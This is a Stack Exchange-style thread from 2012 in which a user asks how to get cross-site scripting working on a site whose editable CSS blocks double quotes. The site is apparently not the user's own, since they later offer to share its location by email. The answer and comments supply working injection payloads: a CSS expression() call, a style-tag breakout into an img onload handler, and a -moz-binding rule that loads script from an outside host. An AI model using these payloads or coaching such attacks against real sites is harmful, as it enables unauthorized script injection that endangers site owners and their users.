6

I'm trying to make XSS work on one site.It allows me to edit CSS which is then included inside web page source , but it won't allow me to use " , only ' . Source is like this:

body {
  margin: 0;
  padding: 0;
  background-color: #EFEFEF;
  overflow: hidden;
  font-family: Arial, Helvetica, sans-serif;
}

Can't XSS inside CSS be exploited if " is blocked.Thanks

Improve this question
3
  • By embedded, you mean an inline stylesheet? Can you post the embedding related markup too?
    – CodesInChaos
    Commented Sep 4, 2012 at 20:42
  • 1
    And how do other characters, such as < get treated? And how is " treated? Forbidden? Entity-Encodes? `` escaped?
    – CodesInChaos
    Commented Sep 4, 2012 at 20:43
  • @CodesInChaos here is the full code :pastebin.com/EkRCwMCc and <> is hex encoded , just like ".
    – Daniel
    Commented Sep 5, 2012 at 16:36

1 Answer 1

Reset to default
8

This policy might prevent breaking out of a double quoted style attribute as in

<div style="payload goes here">

or if this CSS is stored in a DB it might be a SQL Injection filter.

To answer your question though, yes, you can still attack the CSS itself with single quotes

margin-left:expression('alert(1337)')

which will work on IE7 and older or in some more recent IE quirks modes and it won't stop you from embedding double quotes visible to CSS as in

margin-left:expression('alert(\22 pwned\22)')
Improve this answer
6
  • Here is what I'm dealing with : pastebin.com/EkRCwMCc . Is there any way to get this xss working on mozzila.Thanks
    – Daniel
    Commented Sep 5, 2012 at 16:39
  • @user1203028, What part of that does an attacker control?
    – Mike Samuel
    Commented Sep 5, 2012 at 16:42
  • This : <style type="text/css"> body { margin: 0; padding: 0; background-color: #EFEFEF; overflow: hidden; font-family: Arial, Helvetica, sans-serif; } shortened cos of text limit..... ... ... </style>
    – Daniel
    Commented Sep 5, 2012 at 16:44
  • @user1203028, If they only filter ", then obviously </Style ><img onload=alert(1337)> will work. Otherwise, <style>body{-moz-binding:url(http://ha.ckers.org/xssmoz.xml#xss)}</style> should do it.
    – Mike Samuel
    Commented Sep 5, 2012 at 17:00
  • No , well I tried with <> and they are filtered (hexed) , and the solution you gave didn't work , thanks anyway.It seems I cant do anything. Btw, if you want to give it a try , this is my email [email protected] , jyst email me and I'll give you site location.
    – Daniel
    Commented Sep 5, 2012 at 17:29

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .